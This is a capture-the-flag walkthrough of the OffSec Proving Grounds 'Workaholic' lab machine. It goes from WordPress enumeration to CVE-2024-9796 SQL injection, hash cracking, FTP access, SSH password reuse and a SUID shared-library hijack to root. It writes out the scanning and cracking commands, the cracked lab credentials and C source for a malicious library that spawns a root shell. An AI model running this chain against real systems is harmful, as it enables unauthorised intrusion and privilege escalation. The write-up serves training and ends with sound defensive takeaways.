OffSec Proving Grounds Workaholic — WordPress CVE-2024-9796
In this Art of Vector walkthrough, we take OffSec Proving Grounds Workaholic from a blank terminal to root — starting with WordPress recon, then chaining CVE-2024-9796 SQL injection into cracked credentials, FTP access, credential reuse over SSH, and finally a SUID library hijack.
Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.
Summary
Workaholic looks like a standard WordPress box at first. Ports 21, 22, and 80 are open. The web app identifies as WordPress 6.7.2 behind nginx. Directory and plugin enumeration surface wp-advanced-search, and that plugin is the real foothold.
A public SQL injection against the plugin dumps WordPress password hashes. After cracking two of them, FTP as ted exposes the WordPress tree — including wp-config.php. The database password reused for SSH lands a shell as charlie. From there, a custom SUID helper loads a writable shared library under /home/ted/.lib/, and replacing that library finishes the path to root.
Enumeration
Nmap
A full TCP scan with version and default scripts is enough to frame the box:
nmap -sV -sC -p- -v 192.168.120.229
The important ports are:
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (Ubuntu)
HTTP fingerprints WordPress immediately:
http-generator: WordPress 6.7.2
http-title: Workaholic
That already sets the priorities: WordPress content on 80, credential reuse against FTP and SSH, and later local privilege escalation once a shell exists.
Web enumeration
Start with directory discovery against the site root:
gobuster dir -u http://192.168.120.229/ \
-w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
--exclude-length 0 -t 9
The expected WordPress layout shows up:
wp-content
wp-admin
wp-includes
Next, enumerate plugins specifically:
gobuster dir -u http://192.168.120.229/wp-content/plugins/ \
-w /usr/share/wordlists/metasploit/wp-plugins.txt \
--exclude-length 0
Two plugins respond:
akismet
wp-advanced-search
akismet is common noise. wp-advanced-search is the interesting one — public research ties it to an unauthenticated SQL injection tracked as CVE-2024-9796.
Why wp-advanced-search became the real path
The plugin exposes an autocompletion endpoint that trusts attacker-controlled query parameters when building SQL. That turns a WordPress search helper into a database dump channel.
The important idea is the chain:
- WordPress is exposed on HTTP
- Plugin enumeration finds
wp-advanced-search - The vulnerable autocompletion script is reachable without auth
- Hashes from
wp_userscan be pulled and cracked offline - Those passwords matter beyond the CMS — FTP and SSH are waiting
Once those conditions line up, the host is already in trouble.
Initial access
Dumping WordPress hashes
Using a public PoC for CVE-2024-9796 against the target returns three users and their phpass hashes:
admin:$P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.
charlie:$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.
ted:$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/
Crack them with John:
john pass --wordlist=/usr/share/wordlists/rockyou.txt
Valid credentials from the lab:
ted:okadamat17
charlie:chrish20
FTP as ted
FTP accepts ted / okadamat17:
ftp 192.168.120.229
The listing is the WordPress document root. That is a strong signal — the FTP user can read application files that usually stay behind the web server.
Pull wp-config.php:
get wp-config.php
Inside the config file, the MySQL credentials stand out:
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpadmin' );
define( 'DB_PASSWORD', 'rU)tJnTw5*ShDt4nOx' );
SSH as charlie
Credential reuse is the next check. The database password works for SSH as charlie:
ssh charlie@192.168.120.229
After login:
id
# uid=1001(charlie) gid=1001(charlie) groups=1001(charlie)
Upgrade the shell for convenience:
python3 -c 'import pty; pty.spawn("/bin/bash")'
At this point the box is owned as a low-privilege user. Privilege escalation is next.
Privilege escalation
Finding the custom SUID binary
Standard local checks turn up something unusual:
find / -perm -u=s -type f 2>/dev/null
getcap -r / 2>/dev/null
Among the normal Ubuntu SUID binaries is a custom helper:
/var/www/html/wordpress/blog/wp-monitor
strings on that binary explains the intended behavior:
strings /var/www/html/wordpress/blog/wp-monitor
Key strings include:
/var/log/nginx/access.log
POST /wp-login.php
[Warning] Possible brute force attack detected: %s
[+] Checking the logs...
/home/ted/.lib/libsecurity.so
init_plugin
So wp-monitor is a setuid root log checker that dynamically loads /home/ted/.lib/libsecurity.so and calls init_plugin. If that library path is writable, the trust boundary collapses.
Library hijack
As charlie, create the expected library path and drop a malicious shared object:
mkdir /home/ted/.lib
cd /home/ted/.lib
#include <stdio.h>
#include <stdlib.h>
void init_plugin() {
system("/bin/bash");
}
Compile and run the SUID helper:
gcc -shared -fPIC -Wall -o libsecurity.so libsecurity.c
/var/www/html/wordpress/blog/wp-monitor
The binary prints its log-check banner, then hands over a root shell:
[+] Checking the logs...
root@workaholic:/home/ted/.lib# whoami
root
Root outcome
What matters at the end is not any single CVE, but the reused trust across services:
- plugin SQLi dumped hashes
- cracked passwords unlocked FTP
- FTP exposed
wp-config.php - database password reused for SSH
- a SUID binary trusted a writable shared library
That chain is why Workaholic works as a teaching machine. Each step is simple. Together they end in root.
Why this machine is a good lesson
Workaholic rewards patience with WordPress enumeration and skepticism about “local-only” secrets.
If you stop at the homepage, you never find the vulnerable plugin. If you crack hashes and only try wp-login.php, you may miss FTP and SSH reuse. If you get a shell and skip custom SUID binaries, you miss the library hijack that finishes the box.
This is why recon and follow-through matter so much in practice. The win usually comes from connecting the boring findings.
Defensive takeaways
If you run WordPress or custom helpers like this anywhere, the lessons are straightforward:
- Keep plugins patched — unauthenticated SQLi in a search plugin is enough for full compromise.
- Do not reuse CMS, database, FTP, and SSH passwords across roles.
- Never expose WordPress document roots over FTP with broad read access.
- Treat custom SUID binaries as high risk, especially when they
dlopenlibraries from user-writable paths. - Prefer least privilege: a monitoring helper should not need
rootjust to read nginx logs.
References
Unauthorized access is illegal. This write-up is for education and authorized lab work only.
